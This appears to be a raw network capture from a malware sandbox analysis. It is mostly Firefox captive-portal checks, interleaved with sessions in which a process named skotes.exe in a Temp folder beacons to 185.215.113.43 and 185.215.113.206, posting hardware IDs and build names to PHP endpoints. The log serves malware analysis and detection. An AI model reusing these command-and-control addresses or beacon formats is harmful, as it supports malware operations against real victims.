Nov 21, 2024 03:11:02.392841101 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31025 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:02.678268909 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:03.012181997 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31025 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:03.170043945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:03.503689051 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:03.997868061 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:04.330641031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31027 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:04.500672102 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:04.834520102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31027 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:08.351444006 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:08.684643030 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31031 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:18.728885889 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:11:20.073621035 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:20.406588078 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31043 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:30.304096937 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:30.637129068 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31053 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:31.816113949 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:32.193752050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31055 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:41.531732082 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:41.864686966 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31064 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:51.942877054 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:11:53.078344107 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:53.411928892 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31076 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:12:00.529195070 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:12:00.872164011 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31083 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:12:01.763127089 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:12:02.096275091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31084 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:12:12.134057045 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:22.336829901 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:23.080558062 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:12:23.413424015 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31106 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:12:33.443521023 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:43.609755993 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:53.735944986 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:03.932248116 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:14.147574902 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:24.339560986 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:46.003882885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:13:46.336617947 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31189 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:14:03.385535955 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:14:03.824388981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31206 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50175	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:01.133157015 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:02.462624073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	50181	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:01.740403891 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50183	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:01.999135971 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 03:11:03.382335901 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:11:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:11:03.385477066 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 36 30 39 38 45 46 34 39 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="hwid"516098EF49F42681209724------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build"mars------JDBKJJKEBGHIDGCBKJJD--
Nov 21, 2024 03:11:03.837868929 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:11:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	50186	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:02.144362926 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50187	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:02.518526077 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	50190	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:03.144849062 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50192	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:03.631144047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50193	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:04.202825069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:05.650247097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	50194	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:04.463296890 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	50196	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:04.959225893 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:11:06.046140909 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64080 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:11:08.720125914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:11:09.035150051 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64083 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:11:19.131627083 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:11:20.414628983 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
